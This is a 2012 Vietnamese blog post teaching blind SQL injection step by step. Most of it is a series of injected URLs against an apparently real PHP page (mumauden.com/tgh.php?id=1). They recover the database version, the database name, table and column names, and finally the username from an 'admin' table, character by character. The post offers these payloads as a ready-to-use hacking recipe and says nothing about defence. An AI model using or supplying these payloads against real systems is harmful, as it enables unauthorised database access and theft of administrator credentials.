Thứ Tư, 11 tháng 7, 2012

Sơ lược về Blind SQL Injection

Sơ sơ về blind cho anh em dễ hiểu:

đổi string to ascii: http://easycalculation.com/ascii-hex.php

+Tìm version() em nó là version mấy:



Quote:
http://mumauden.com/tgh.php?id=1 and substring(version(),1,1)=3 >>ver 3
http://mumauden.com/tgh.php?id=1 and substring(version(),1,1)=4 >>ver 4
http://mumauden.com/tgh.php?id=1 and substring(version(),1,1)=5 >>ver 5
VD: Version= 5.0.77-log1
Suy ra ta sẽ cắt số 5 trong chuỗi version ra tức là số 5 và so sánh tiếp
http://mumauden.com/tgh.php?id=1 and 5=5 >>ver 5 >> đúng Version của nó


Lấy đủ thông tin của Version()
Quote:
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),1,1))=53 >>5
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),2,1))=46 >>.
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),3,1))=49 >>0
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),4,1))=46 >>.
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),5,1))=50 >>7
http://mumauden.com/tgh.php?id=1 and ascii(substring(version(),6,1))=49 >>7
+ Tìm database(),user()

Quote:
http://mumauden.com/tgh.php?id=1 and length(database()) = 6
Nếu database là 6 ký tự, các bạn có thể dùng dấu > hoặc < để rút khoảng cách tìm ra số lượng ký tự
http://mumauden.com/tgh.php?id=1 and length(database()) > 5 ok
http://mumauden.com/tgh.php?id=1 and length(database()) >6 lỗi
>> số lượng ký tự = 6

length = lấy độ dài của 1 chuỗi

Quote:
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),1,1))= 116 >>t
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),2,1))= 103 >>g
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),3,1))= 104 >>h
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),4,1))= 109 >>m
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),5,1))= 109 >>m
http://mumauden.com/tgh.php?id=1 and ascii(substring(database(),6,1))= 100 >>d
>>database()= tghmmd
ascii = convert 1 số ra ký tự theo bảng mã ascii

http://vi.wikipedia.org/wiki/ASCII

+Get thông tin
++table_name:
+++table đầu tiên trong dãy table_name


Quote:
http://mumauden.com/tgh.php?id=1 and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= 116 >> t
>>còn làm tương tự ,nhớ length để biết số lượng ký tự trong table_name đầu tiên nhé
++column name:
+++column đầu tiên trong dãy column_name trong 1 table

Quote:
http://mumauden.com/tgh.php?id=1 and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=0xtable_name conver to hex limit 0,1),1,1))= 116 >> t
+get user/pass: vidụ username/password trong table admin nhé

Quote:
http://mumauden.com/tgh.php?id=1 and ascii(substring((select username from admin limit 0,1),1,1))= 97 >> a
Chú ý :
-Các bạn cứ tăng giá trị 1,1 của substring lên 2,1 để get số ký tự
-Các bạn cứ tăng giá trị 0,1 của limit lên 1,1 để get số table_name,colum_name

By ThangGiangHo

Không có nhận xét nào: